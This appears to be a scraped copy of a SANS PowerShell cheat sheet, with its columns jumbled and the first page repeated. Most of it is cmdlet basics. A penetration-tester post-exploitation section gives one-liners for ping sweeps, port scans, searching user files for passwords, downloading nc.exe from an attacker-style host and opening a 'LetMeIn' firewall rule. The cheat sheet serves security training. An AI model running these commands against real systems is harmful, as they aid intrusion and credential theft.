"Powershell Cheat Sheet Version 4 - Sans Institute"

ADVERTISEMENT
ADVERTISEMENT

Download "Powershell Cheat Sheet Version 4 - Sans Institute"

288 times
Rate (4.6 / 5) 16 votes
Useful Cmdlets (and aliases)
PowerShell for Pen-Tester Post-Exploitation
PowerShell
Get a directory listing (ls, dir, gci):
Conduct a ping sweep:
Cheat Sheet
PS C:\> Get-ChildItem
PS C:\> 1..255 | % {echo "10.10.10.$_";
v. 4.0
ping -n 1 -w 100 10.10.10.$_ | Select-
Copy a file (cp, copy, cpi):
String ttl}
POCKET REFERENCE
PS C:\> Copy-Item src.txt dst.txt
GUIDE
Conduct a port scan:
Move a file (mv, move, mi):
PS C:\> 1..1024 | % {echo ((new-object
http://www.sans.org
PS C:\> Move-Item src.txt dst.txt
Net.Sockets.TcpClient).Connect("10.10.10
.10",$_)) "Port $_ is open!"} 2>$null
Find text within a file:
Purpose
PS C:\> Select-String –path c:\users
Fetch a file via HTTP (wget in PowerShell):
\*.txt –pattern password
PS C:\> (New-Object
The purpose of this cheat sheet is to
PS C:\> ls -r c:\users -file | %
System.Net.WebClient).DownloadFile("http
describe some common options and
{Select-String -path $_ -pattern
://10.10.10.10/nc.exe","nc.exe")
techniques for use in Microsoft’s
password}
PowerShell.
Find all files with a particular name:
Display file contents (cat, type, gc):
PS C:\> Get-ChildItem "C:\Users\" -
PS C:\> Get-Content file.txt
recurse
-include *passwords*.txt
PowerShell Overview
Get present directory (pwd, gl):
Get a listing of all installed Microsoft Hotfixes:
PS C:\> Get-Location
PS C:\> Get-HotFix
PowerShell Background
Get a process listing (ps, gps):
Navigate the Windows registry:
PowerShell is the successor to command.com,
cmd.exe and cscript. Initially released as a
PS C:\> Get-Process
PS C:\> cd HKLM:\
separate download, it is now built in to all modern
PS HKLM:\> ls
versions of Microsoft Windows. PowerShell
Get a service listing:
List programs set to start automatically in the registry:
syntax takes the form of verb-noun patterns
PS C:\> Get-Service
PS C:\> Get-ItemProperty HKLM:\SOFTWARE
implemented in cmdlets.
Formatting output of a command (Format-List):
\Microsoft\Windows\CurrentVersion\run
Launching PowerShell
PS C:\> ls | Format-List –property
Convert string from ascii to Base64:
name
PowerShell is accessed by pressing Start ->
PS C:\>
Paginating output:
typing powershell and pressing enter.
[System.Convert]::ToBase64String([System
Some operations require administrative privileges
PS C:\> ls –r | Out-Host -paging
.Text.Encoding]::UTF8.GetBytes("PS
and can be accomplished by launching
FTW!"))
Get the SHA1 hash of a file:
PowerShell as an elevated session. You can
List and modify the Windows firewall rules:
launch an elevated PowerShell by pressing Start -
PS C:\> Get-FileHash -Algorithm SHA1
> typing powershell and pressing Shift-CTRL-
file.txt
PS C:\> Get-NetFirewallRule –all
Enter.
PS C:\> New-NetFirewallRule -Action
Exporting output to CSV:
Additionally, PowerShell cmdlets can be called
Allow -DisplayName LetMeIn -
PS C:\> Get-Process | Export-Csv
RemoteAddress 10.10.10.25
from cmd.exe by typing: powershell -c
procs.csv
"<command>".
Useful Cmdlets (and aliases)
PowerShell for Pen-Tester Post-Exploitation
PowerShell
Get a directory listing (ls, dir, gci):
Conduct a ping sweep:
Cheat Sheet
PS C:\> Get-ChildItem
PS C:\> 1..255 | % {echo "10.10.10.$_";
v. 4.0
ping -n 1 -w 100 10.10.10.$_ | Select-
Copy a file (cp, copy, cpi):
String ttl}
POCKET REFERENCE
PS C:\> Copy-Item src.txt dst.txt
GUIDE
Conduct a port scan:
Move a file (mv, move, mi):
PS C:\> 1..1024 | % {echo ((new-object
http://www.sans.org
PS C:\> Move-Item src.txt dst.txt
Net.Sockets.TcpClient).Connect("10.10.10
.10",$_)) "Port $_ is open!"} 2>$null
Find text within a file:
Purpose
PS C:\> Select-String –path c:\users
Fetch a file via HTTP (wget in PowerShell):
\*.txt –pattern password
PS C:\> (New-Object
The purpose of this cheat sheet is to
PS C:\> ls -r c:\users -file | %
System.Net.WebClient).DownloadFile("http
describe some common options and
{Select-String -path $_ -pattern
://10.10.10.10/nc.exe","nc.exe")
techniques for use in Microsoft’s
password}
PowerShell.
Find all files with a particular name:
Display file contents (cat, type, gc):
PS C:\> Get-ChildItem "C:\Users\" -
PS C:\> Get-Content file.txt
recurse
-include *passwords*.txt
PowerShell Overview
Get present directory (pwd, gl):
Get a listing of all installed Microsoft Hotfixes:
PS C:\> Get-Location
PS C:\> Get-HotFix
PowerShell Background
Get a process listing (ps, gps):
Navigate the Windows registry:
PowerShell is the successor to command.com,
cmd.exe and cscript. Initially released as a
PS C:\> Get-Process
PS C:\> cd HKLM:\
separate download, it is now built in to all modern
PS HKLM:\> ls
versions of Microsoft Windows. PowerShell
Get a service listing:
List programs set to start automatically in the registry:
syntax takes the form of verb-noun patterns
PS C:\> Get-Service
PS C:\> Get-ItemProperty HKLM:\SOFTWARE
implemented in cmdlets.
Formatting output of a command (Format-List):
\Microsoft\Windows\CurrentVersion\run
Launching PowerShell
PS C:\> ls | Format-List –property
Convert string from ascii to Base64:
name
PowerShell is accessed by pressing Start ->
PS C:\>
Paginating output:
typing powershell and pressing enter.
[System.Convert]::ToBase64String([System
Some operations require administrative privileges
PS C:\> ls –r | Out-Host -paging
.Text.Encoding]::UTF8.GetBytes("PS
and can be accomplished by launching
FTW!"))
Get the SHA1 hash of a file:
PowerShell as an elevated session. You can
List and modify the Windows firewall rules:
launch an elevated PowerShell by pressing Start -
PS C:\> Get-FileHash -Algorithm SHA1
> typing powershell and pressing Shift-CTRL-
file.txt
PS C:\> Get-NetFirewallRule –all
Enter.
PS C:\> New-NetFirewallRule -Action
Exporting output to CSV:
Additionally, PowerShell cmdlets can be called
Allow -DisplayName LetMeIn -
PS C:\> Get-Process | Export-Csv
RemoteAddress 10.10.10.25
from cmd.exe by typing: powershell -c
procs.csv
"<command>".
Syntax
Getting Help
5 PowerShell Essentials
Cmdlets are small scripts that follow a dash-
To get help with help:
Concept
What’s it
A Handy Alias
separated verb-noun convention such as "Get-
Do?
PS C:\> Get-Help
Process".
Shows help &
PS C:\> Get-Help
PS C:\> help
To read cmdlet self documentation:
examples
[cmdlet] -
[cmdlet] -
Similar Verbs with Different Actions:
PS C:\> Get-Help <cmdlet>
examples
examples
- New- Creates a new resource
-  Set- Modifies an existing resource
Detailed help:
Shows a list of
PS C:\> Get-
PS C:\> gcm
-  Get- Retrieves an existing resource
PS C:\> Get-Help <cmdlet> -detailed
Command
commands
*[string]*
-  Read- Gets information from a source, such
Shows properties
as a file
Usage examples:
PS C:\> Get-
PS C:\> [cmdlet]
Member
& methods
| gm
-  Find- Used to look for an object
PS C:\> Get-Help <cmdlet> -examples
-  Search- Used to create a reference to a
PS C:\> ForEach-
Takes each item
PS C:\> [cmdlet]
resource
Full (everything) help:
on pipeline and
Object { $_ }
| % { [cmdlet]
-  Start- (asynchronous) begin an operation,
PS C:\> Get-Help <cmdlet> -full
handles it as $_
$_ }
such as starting a process
-  Invoke- (synchronous) perform an operation
Online help (if available):
Searches for
PS C:\> Select-
PS C:\> sls –path
such as running a command
PS C:\> Get-Help <cmdlet> -online
String
strings in files or
[file] –pattern
output, like grep
[string]
Parameters:
Each verb-noun named cmdlet may have many
Pipelining, Loops, and Variables
parameters to control cmdlet functionality.
Piping cmdlet output to another cmdlet:
Objects:
Cmdlet Aliases
PS C:\> Get-Process | Format-List
The output of most cmdlets are objects that can
–property name
Aliases provide short references to long
be passed to other cmdlets and further acted
commands.
upon. This becomes important in pipelining
ForEach-Object in the pipeline (alias %):
cmdlets.
PS C:\> ls *.txt | ForEach-Object
To list available aliases (alias alias):
{cat $_}
PS C:\> Get-Alias
Where-Object condition (alias where or ?):
To expand an alias into a full name:
PS C:\> Get-Process | Where-Object
PS C:\> alias <unknown alias>
{$_.name –eq "notepad"}
PS C:\> alias gcm
Finding Cmdlets
Generating ranges of numbers and looping:
To get a list of all available cmdlets:
PS C:\> 1..10
PS C:\> Get-Command
Efficient PowerShell
PS C:\> 1..10 | % {echo "Hello!"}
Tab completion:
Get-Command supports filtering. To filter cmdlets
Creating and listing variables:
PS C:\> get-child<TAB>
on the verb set:
PS C:\> $tmol = 42
PS C:\> Get-ChildItem
or
PS C:\> Get-Command Set*
PS C:\> ls variable:
PS C:\> Get-Command –Verb Set
Parameter shortening:
Examples of passing cmdlet output down pipeline:
PS C:\> ls –recurse is equivalent to:
Or on the noun process:
PS C:\> dir | group extension | sort
PS C:\> ls -r
or
PS C:\> Get-Command *Process
PS C:\> Get-Service dhcp | Stop-
PS C:\> Get-Command –Noun process
Service -PassThru | Set-Service -
StartupType Disabled
Page of 2